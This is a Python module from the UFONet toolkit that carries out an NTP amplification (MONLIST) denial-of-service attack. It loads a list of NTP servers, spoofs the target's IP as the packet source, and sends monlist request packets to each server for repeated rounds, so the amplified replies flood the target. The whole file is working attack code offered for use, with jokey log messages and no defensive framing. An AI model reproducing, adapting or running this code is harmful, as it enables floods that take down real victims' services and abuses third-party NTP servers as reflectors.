monlist.py 3.2 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random
  11. try:
  12. from scapy.all import *
  13. except ImportError:
  14. from core._ensure import ensure
  15. if ensure('scapy.all', 'scapy') is None:
  16. print("\nError importing: scapy lib.\n")
  17. sys.exit(2)
  18. from scapy.all import *
  19. ntp_file = "botnet/ntp.txt" # NTP servers IP list
  20. #data = "\x17\x00\x03\x2a" + "\x00" * 4 # NTP v2 Monlist 'magic' packet!
  21. data = "\x1b\x00\x00\x00"+"\x00"*11*4 # NTP v3 Monlist 'magic' packet!
  22. # UFONet NTP Amplification (MONLIST) / [Port: 123]
  23. def monlistize(ip, rounds):
  24. n=0
  25. try: # (NTP) Amplification attack uses publically accessible NTP servers to flood a target with NTP response traffic
  26. with open(ntp_file) as f: # extract NTP servers from file
  27. ntp_d = f.read().splitlines()
  28. f.close()
  29. p_num=0
  30. for x in range (0,int(rounds)):
  31. try:
  32. n=n+1
  33. print("[Info] [AI] [MONLIST] Breaking NTP 'parsec' ["+str(n)+"] and remaking space-time on it! -> [SLOWING!]")
  34. for j in ntp_d:
  35. p_num += 1
  36. packet = IP(dst=j,src=ip)/UDP(sport=random.randint(2000,65535),dport=123)/Raw(load=data)
  37. try:
  38. send(packet, verbose=0) # not using sr1 because non-replies are required
  39. print(("[Info] [AI] [MONLIST] Broken NTP 'parsec' [{}]".format(p_num))+" IS INTERACTING WITH ["+str(j)+"] -> [AMPLIFYING!]")
  40. except:
  41. print(("[Info] [AI] [MONLIST] Broken NTP 'parsec' [{}]".format(p_num))+" HAS FAILED to interact with ["+str(j)+"] -> [PASSING!]")
  42. except:
  43. print("[Error] [AI] [MONLIST] Failed breaking NTP 'parsec' ["+str(n)+"]")
  44. except:
  45. print("[Error] [AI] [MONLIST] Failing to engage... -> Is still target online? -> [Checking!]")
  46. class MONLIST(object):
  47. def attacking(self, target, rounds):
  48. print("[Info] [AI] NTP Amplification (MONLIST) is ready to broke: [" , rounds, "parsecs ]")
  49. if target.startswith('http://'):
  50. target = target.replace('http://','')
  51. elif target.startswith('https://'):
  52. target = target.replace('https://','')
  53. try:
  54. ip = socket.gethostbyname(target)
  55. except:
  56. try:
  57. import dns.resolver
  58. r = dns.resolver.Resolver()
  59. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  60. url = urlparse(target)
  61. a = r.resolve(url.netloc, "A") # A record
  62. for rd in a:
  63. ip = str(rd)
  64. except:
  65. ip = target
  66. if ip == "127.0.0.1" or ip == "localhost":
  67. print("[Info] [AI] [MONLIST] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  68. return
  69. monlistize(ip, rounds) # attack with MONLIST using threading